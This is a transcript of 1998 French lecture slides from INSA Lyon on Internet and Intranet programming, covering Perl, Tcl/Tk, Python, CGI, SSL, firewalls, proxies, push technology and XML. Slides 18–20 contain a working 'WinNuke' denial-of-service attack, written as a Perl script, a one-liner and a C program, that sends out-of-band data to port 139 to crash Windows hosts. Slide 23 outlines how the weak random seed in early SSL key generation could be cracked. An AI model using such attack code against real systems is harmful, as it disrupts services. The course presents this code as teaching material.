1 Programmation Internet et Intranet S. Frénot INSA Lyon 1998 [email protected]...

34
1 Programmation Internet et Intranet S. Frénot INSA Lyon 1998 [email protected] lyon.fr http://lisisun1/~sfrenot/ cours/

Transcript of 1 Programmation Internet et Intranet S. Frénot INSA Lyon 1998 [email protected]...

Page 1: 1 Programmation Internet et Intranet S. Frénot INSA Lyon 1998 stephf@lisiflory.insa-lyon.fr sfrenot/cours

1

Programmation Internetet Intranet

S. Frénot INSA Lyon 1998

[email protected]

http://lisisun1/~sfrenot/cours/

Page 2: 1 Programmation Internet et Intranet S. Frénot INSA Lyon 1998 stephf@lisiflory.insa-lyon.fr sfrenot/cours

2

Déroulement du cours

• Architecture Web de base

• Architecture Web dynamique

• Client / Serveur de données

• Java

• Architectures distribués

• Les compléments

Page 3: 1 Programmation Internet et Intranet S. Frénot INSA Lyon 1998 stephf@lisiflory.insa-lyon.fr sfrenot/cours

3

Les approches de PII

• Modèle Initial– Approche documentaire : HTML/HTTP, Internet

• Avantage / Inconvénients

• Modèle Avancé– Approche objets distribués : Java/Corba, Intranet

• Avantage / Inconvénients

Page 4: 1 Programmation Internet et Intranet S. Frénot INSA Lyon 1998 stephf@lisiflory.insa-lyon.fr sfrenot/cours

4

Les langages de script

• Langages de script– Interprété– Suivent la Loi de Moore– Objets distribués / Composants– Légers et modulaires– Portés sur de nombreux environnements

• Client : Script Documentaire– JavaScript, Python, Tcl/Tk– Visuel

• Serveur : Shell puissants– Perl, Tcl, Tk– Prototypage

Page 5: 1 Programmation Internet et Intranet S. Frénot INSA Lyon 1998 stephf@lisiflory.insa-lyon.fr sfrenot/cours

5

Perl

• TMTOWTDI : "Tim-Toady"• 1 : Simplifier les tâches faciles• 2 : Ne pas empêcher les tâches difficiles

==> Larry Wall

Linguiste

Notion de langue et d'interprétation contextuelle et tardive

Nom, Verbe, Singulier et Pluriel

Page 6: 1 Programmation Internet et Intranet S. Frénot INSA Lyon 1998 stephf@lisiflory.insa-lyon.fr sfrenot/cours

6

Perl

• "Practical Extraction and Report Language"• Interprété• Modulaire

– 446 Modules : "use module"

• Simple / Complexe• Efficace• Orienté

– traitement de chaînes

– Accès fichiers

– Accès réseau

Page 7: 1 Programmation Internet et Intranet S. Frénot INSA Lyon 1998 stephf@lisiflory.insa-lyon.fr sfrenot/cours

7

Perl : Exemple#!/usr/local/bin/perl

print "Content-Type:text/html\n\n<HTML><BODY>";

open (NOTES, "notes") or die "Ouverture impossible : $!\n";

while ($ligne=<NOTES>) {

($etudiant, $note) = split(/ /, $ligne);

chomp($note);

$notes{$etudiant} .= $note.' ';}

foreach $etudiant (sort keys %notes) {

$scores,$note, $total=0;

@notes = split(/ /, $notes{$etudiant});

foreach $note(@notes) {

$total+=$note;

$scores++;}

$moyenne = $total/$scores;

print "<PRE>$etudiant : $notes{$etudiant}\tMoyenne: $moyenne\n<BR>";}

print "</body></html>";

Page 8: 1 Programmation Internet et Intranet S. Frénot INSA Lyon 1998 stephf@lisiflory.insa-lyon.fr sfrenot/cours

8

Perl : 5.004

• Accès aux Bases de données– DBD, DBI ==> ODBC

• Accès aux Formulaires HTML– CGI.pm, HTML.pm

• Accès aux variables systèmes de la machine• Porté sur Win32, Unix, MacIntosh• Communauté Internet

ftp://ftp.pasteur.fr/pub/Perl/

Page 9: 1 Programmation Internet et Intranet S. Frénot INSA Lyon 1998 stephf@lisiflory.insa-lyon.fr sfrenot/cours

9

TCL/Tk

• Tool Command Langage ==> Shell de programmation• ToolKit ==> Widgets de présentation

Toute architecture de programmation importante utilise deux classes de langage

= un langage compilé, efficace pour l'algorithmie (cobol, c, c++ ...)

= un autre, interprété, utilisé comme glue pour "piloter" et personnaliser les différentes fonctionnalités de l'application

==> John Ousterhout (Sun)

Page 10: 1 Programmation Internet et Intranet S. Frénot INSA Lyon 1998 stephf@lisiflory.insa-lyon.fr sfrenot/cours

10

TCL

#!/usr/local/bin/tclsh8.0set envvars {SERVER_SOFTWARE SERVER_NAME

GATEWAY_INTERFACE SERVER_PROTOCOL

SERVER_PORT REQUEST_METHOD

PATH_INFO PATH_TRANSLATED SCRIPT_NAME

QUERY_STRING REMOTE_HOST REMOTE_ADDR

REMOTE_USER AUTH_TYPE CONTENT_TYPE

CONTENT_LENGTH HTTP_ACCEPT HTTP_REFERER

HTTP_USER_AGENT}

puts "Content-type: text/html\n"

puts "<HTML><BODY>"

puts"<H1>Message</H1><PRE>"

puts "</PRE><H1>Environment Variables</H1>"

foreach var $envvars {

if {[info exists env($var)]} {

puts "<DT>$var<DD>$env($var)"}}}

if {[string compare

$env(REQUEST_METHOD) "POST"]==0}{

set message [split [read stdin $env(CONTENT_LENGTH)] &]

} else {

set message [split

$env(QUERY_STRING) &]

}

foreach pair $message {

set name [lindex [split $pair =] 0]

set val [lindex [split $pair =] 1]

puts "$name\t= $val"

}

puts "</BODY></HTML>"

Page 11: 1 Programmation Internet et Intranet S. Frénot INSA Lyon 1998 stephf@lisiflory.insa-lyon.fr sfrenot/cours

11

Tk

Créer l'interface utilisateur en écrivant les scripts Tcl. Hello, world:

button .hello -text "Hello, world" -command exit

pack .hello

Explorateur Windows : 30 lignes Browser Web : 2000 lignes 10x moins de code pour des choses simples.

Page 12: 1 Programmation Internet et Intranet S. Frénot INSA Lyon 1998 stephf@lisiflory.insa-lyon.fr sfrenot/cours

12

TCL / Tk• 1 Librairie de procédures C pour développeurs

• L'interpréteur est pilotable en CTcl_Interp * interp;interp = Tcl_CreateInterp();int code;code=Tcl_Eval(interp, "set a 1");code=Tcl_EvalFile(interp, "init.tcl");

• Créer une nouvelle commande Tclint EqCmd(ClientData clientData, Tcl_Interp *interp, int argc, char **argv) {

if (argc != 3) {

interp->result = "wrong # args";

return TCL_ERROR; }

if (!strcmp(argv[1], argv[2])) interp->result = "1";

else interp->result = "0";

return TCL_OK;}

• L'enregistrer sur l'interpréteur Tcl_CreateCommand(interp, "eq", EqCmd, (ClientData) NULL, ...);

Page 13: 1 Programmation Internet et Intranet S. Frénot INSA Lyon 1998 stephf@lisiflory.insa-lyon.fr sfrenot/cours

13

TCL / Tk

• Largement utilisé

• Le plus puissant

• Choisi comme langage de script de Java

• Efficace

• Tcl Plug-in, TCLBlend/Jacl, SpecTcl, TclHttpd, WebTk, Exmh

• http://www.sunscript.com/

Page 14: 1 Programmation Internet et Intranet S. Frénot INSA Lyon 1998 stephf@lisiflory.insa-lyon.fr sfrenot/cours

14

Python

• Portable, interprété, orienté objet (ABC, C, Modula-3, Icon)• Facile à apprendre• Script CGI, Administration de systèmes, Prototypage• Indépendant de la plateforme : Tk comme bibliothèque

graphique, génère du byte-code• Multiniveaux : Scripts shell, ou librairies oo• Extensible: branchement sur les autres binaires (Microsoft

FC, MacOS ToolBox)• Imbriquable : Script => HTML, BD, Environnement • ==> Just et Guido van Rossum (CNRI : Corporation for

National Research Institute)

Page 15: 1 Programmation Internet et Intranet S. Frénot INSA Lyon 1998 stephf@lisiflory.insa-lyon.fr sfrenot/cours

15

Python : exemple#!/usr/local/lib/python

import posix

import string

uid=`posix.getuid()`

passwd=open('/etc/passwd')

for line in passwd.readline():

rec=string.splitfields(line, ':')

if rec[2] == uid:

print 'bonjour', rec[0]

break

else:

print 'Non trouve'

#!/usr/local/lib/pythonimport timeJOUR = 24*3600class Date:

def __init__(self, date):self.date=date

def __repr__(self):s=time.ctime(self.date)return s[:11]+s[-4:]

def demain(self): return self+1def hier(self): return self -1

def __add__(self, nbjours):return Date (self.date+nbjours*JOUR)

__radd___=__add__ def __sub__(self, autre)

if hasattr(autre, 'date'): return int (self.date/JOUR) - int(other.date/JOUR)

else: return self.__add__(-other)

aujourdhui=Date(time.time( ))print aujourdhui.demain( )-ajourdhui.hier( )

Page 16: 1 Programmation Internet et Intranet S. Frénot INSA Lyon 1998 stephf@lisiflory.insa-lyon.fr sfrenot/cours

16

Python

• http://www.python.org

• modules

– chaines, Expression Régulières, posix, sockets, threads,

multimédia, cryptographie, STDWIN, Internet/WWW

• Utilisé pour l'interface utilisateur de Linux RedHat 5

• Exemple utilisé pour les tags OBJECT d'HTML 4

Page 17: 1 Programmation Internet et Intranet S. Frénot INSA Lyon 1998 stephf@lisiflory.insa-lyon.fr sfrenot/cours

17

Disponibilité des langages

• Vitesse de développement => Economie

• Utiliser les bons outils

• Marché en expansion

• Se faire plaisir

Page 18: 1 Programmation Internet et Intranet S. Frénot INSA Lyon 1998 stephf@lisiflory.insa-lyon.fr sfrenot/cours

18

Exemple#!/opt/bin/perl

use strict;

use Socket;

$h = "$ARGV[0]";

$p = 139 if (!$ARGV[1]);

if (!$h) {print "Un nom de machine doit être fournit. Ex: www.microsoft.com\n";}

$in_addr = (gethostbyname($h))[4];

$addr = sockaddr_in($p,$in_addr);

$proto = getprotobyname('tcp');

print "Adresse visée$in_addr addr $addr proto $proto\n";

socket(S, AF_INET, SOCK_STREAM, $proto) || die $!;

connect(S,$addr) or die $!;

$| = 1;

print STDOUT "Nuking: $h:$p\n";

send S,"Au revoir",MSG_OOB;

print STDOUT "Nuked!\n";

close S; STDOUT

perl -MIO::Socket -e 'IO::Socket::INET->

new(PeerAddr=>"some.windoze.box")->

send("bye",MSG_OOB)'

Page 19: 1 Programmation Internet et Intranet S. Frénot INSA Lyon 1998 stephf@lisiflory.insa-lyon.fr sfrenot/cours

19

Equivalent C#include <stdio.h>#include <string.h>#include <netdb.h>#include <netinet/in.h>#include <sys/types.h>#include <sys/socket.h>#include <unistd.h>#define dport 139 int x, s;char *str = "Bye"; struct sockaddr_in addr,

spoofedaddr;struct hostent *host;

int open_sock(int sock, char *server, int port) { struct sockaddr_in blah; struct hostent *he; bzero((char *)&blah,sizeof(blah)); blah.sin_family=AF_INET; blah.sin_addr.s_addr=inet_addr(server); blah.sin_port=htons(port); if ((he = gethostbyname(server)) != NULL) { bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length); } else { if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) { perror("gethostbyname()"); return(-3); } } if (connect(sock,(struct sockaddr *)&blah,16)==-1) { perror("connect()"); close(sock); return(-4); } printf("Connected to [%s:%d].\n",server,port); return;}

Page 20: 1 Programmation Internet et Intranet S. Frénot INSA Lyon 1998 stephf@lisiflory.insa-lyon.fr sfrenot/cours

20

Equivalent C Suite

void main(int argc, char *argv[]) { if (argc != 2) { printf("Usage: %s <target>\n",argv[0]); exit(0); } if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { perror("socket()"); exit(-1); } open_sock(s,argv[1],dport); printf("Sending crash... "); send(s,str,strlen(str),MSG_OOB); usleep(100000); printf("Done!\n"); close(s);}

Page 21: 1 Programmation Internet et Intranet S. Frénot INSA Lyon 1998 stephf@lisiflory.insa-lyon.fr sfrenot/cours

21

Compléments

Page 22: 1 Programmation Internet et Intranet S. Frénot INSA Lyon 1998 stephf@lisiflory.insa-lyon.fr sfrenot/cours

22

Cryptage SSL (HTTPS)

• Encodage sur une clé unique connue du client et du serveur

• Le client génère aléatoirement un nombre• Puis le transfère de manière cryptée au serveur• Celui-ci encode les messages à l'aide de ce nombre

==> mais ...

Page 23: 1 Programmation Internet et Intranet S. Frénot INSA Lyon 1998 stephf@lisiflory.insa-lyon.fr sfrenot/cours

23

Crack !

global variable racine;

RNG_CreeContexte( )

(secondes, microsecondes) = maintenant:!

pid=process ID; ppid= parent process ID;

a=mklcpr(microsecondes);

b=mklcpr(pid+seconds+(ppid<<12));

racine=MD5(a,b);

mklcpr(x)

return ((0xDEECE66D * x

+0x2BBB62DC) >> 1);

MD5()

RNG_GenereNombreAleatoire( )

x=MD5(seed);

seed=seed+1;

return x;

global variable debut, clé_secrete;

Creer_cle ( )

RNG_CreeContexte( );

tmp= RNG_GenereNombreAleatoire();

tmp= RNG_GenereNombreAleatoire();

debut= RNG_GenereNombreAleatoire();

clé_secrete=RNG_GenereNombreAleatoire();

Page 24: 1 Programmation Internet et Intranet S. Frénot INSA Lyon 1998 stephf@lisiflory.insa-lyon.fr sfrenot/cours

24

FireWall

• FireWall : Pare-Feu• Filtrage des paquets

• Table de filtrage des ports de connexion– Inbound HTTP www.interne.com

– Outbound HTTP www.externe.com

– Inbound telnet telnet.interne.com

– Sinon interdit

• Tunneling Protocol• Encodage d'une session

• Reseaux privés virtuels

Page 25: 1 Programmation Internet et Intranet S. Frénot INSA Lyon 1998 stephf@lisiflory.insa-lyon.fr sfrenot/cours

25

Proxy

• Cache des documents transférés– Cache mémoire sur le client

– Cache disque sur le client

– Serveur Cache local

– Serveurs Cache nationaux

• Fonctions– Disponibilité,

– Maintenabilité

– Pre-caching

– Baisse de la charge

• Difficulté :?

Page 26: 1 Programmation Internet et Intranet S. Frénot INSA Lyon 1998 stephf@lisiflory.insa-lyon.fr sfrenot/cours

26

Serveur Proxy

proxy.univ-lyon1.fr 3128function FindProxyForURL(url, host) {

if (isPlainHostName(host)) return "DIRECT";

if ( dnsDomainIs( host,"univ-lyon1.fr")||

dnsDomainIs(host,"cpe.fr") ||

dnsDomainIs(host,"enssib.fr") ||

dnsDomainIs(host,"cermep.fr") ||

dnsDomainIs(host,"dr7.cnrs.fr") ||

dnsDomainIs(host,"www.dsi.cnrs.fr") ||

dnsDomainIs(host,"insa-lyon.fr"))

return "DIRECT";

if (url.substring(0, 5) == "http:" ||url.substring(0, 7) == "gopher:")

return "PROXY proxy.univ-lyon1.fr:3128; DIRECT";

if (url.substring(0, 5) == "wais:") return "PROXY web.univ-lyon2.fr:8001";

else return "DIRECT";

}

Page 27: 1 Programmation Internet et Intranet S. Frénot INSA Lyon 1998 stephf@lisiflory.insa-lyon.fr sfrenot/cours

27

Push

• Anticiper la demande de l'utilisateur

=> Lui fournir l'information avant qu'il ne la cherche

=> Retourner le modèle du Web

=> L'utilisateur négocie une politique de push

=> Notion de canaux de diffusion

Page 28: 1 Programmation Internet et Intranet S. Frénot INSA Lyon 1998 stephf@lisiflory.insa-lyon.fr sfrenot/cours

28

Push

• Approche diffusion Commerciale– Diffusion de canaux d'information

• BackWeb : Personnalisation et Segmentation, infopacks

• Pointcast (1996) : Pionnier, émetteur unique !

• Approche diffusion Logiciel– Marimba : Société (JavaFund)

– Castanet : Emetteur, Tuner, Proxy, GateWay

=> Technologies PUSH : Bonnet, Macary, Eyrolles Informatiques

Page 29: 1 Programmation Internet et Intranet S. Frénot INSA Lyon 1998 stephf@lisiflory.insa-lyon.fr sfrenot/cours

29

Faiblesses de HTML

• Pas de gestion des hyperliens• Pas de contrôle de la syntaxe• Pas d'extensibilité possible• Pas de structures• Pas de distinction sur (forme/fond)• Pas de support d'internationalisation• Pas de support pour l'échange de données• Pas de réutilisation• Contenu dynamique• Orientation Objet

Page 30: 1 Programmation Internet et Intranet S. Frénot INSA Lyon 1998 stephf@lisiflory.insa-lyon.fr sfrenot/cours

30

Langage de documents DHTML

• Scripts + Feuilles de styles (JavaScript+CSS)

• Approche OO d'un document– Fondé sur le DOM (Document Object Model) du W3C

– Programmation plus souple

• Incompatibilité Microsoft/Netscape

=> HTML++

Page 31: 1 Programmation Internet et Intranet S. Frénot INSA Lyon 1998 stephf@lisiflory.insa-lyon.fr sfrenot/cours

31

Meta-Langage de document XML

• eXtensible Markup Langage• Représenter n'importe quel document avec des tags logiques• Langage de programmation DSSSL

– Lisp (Scheme)

• Documents Bien Formés• DTD du document

==> SGML --

==> Jim Clark : SP Parser, Jade ...

Page 32: 1 Programmation Internet et Intranet S. Frénot INSA Lyon 1998 stephf@lisiflory.insa-lyon.fr sfrenot/cours

32

Architectures

Page 33: 1 Programmation Internet et Intranet S. Frénot INSA Lyon 1998 stephf@lisiflory.insa-lyon.fr sfrenot/cours

33

Evolution du Web

Page 34: 1 Programmation Internet et Intranet S. Frénot INSA Lyon 1998 stephf@lisiflory.insa-lyon.fr sfrenot/cours

34

Anneaux de diffussion

• Interconnexion de sites Web• Mettre en commun des utilisateurs sur un sujet• Définir des sous-réseau logiques d'information

• Site central qui diffuse les entêtes des documents• Diffusion aux abonnés d'un cgi à insérer dans les

documents

• ==> PilotGear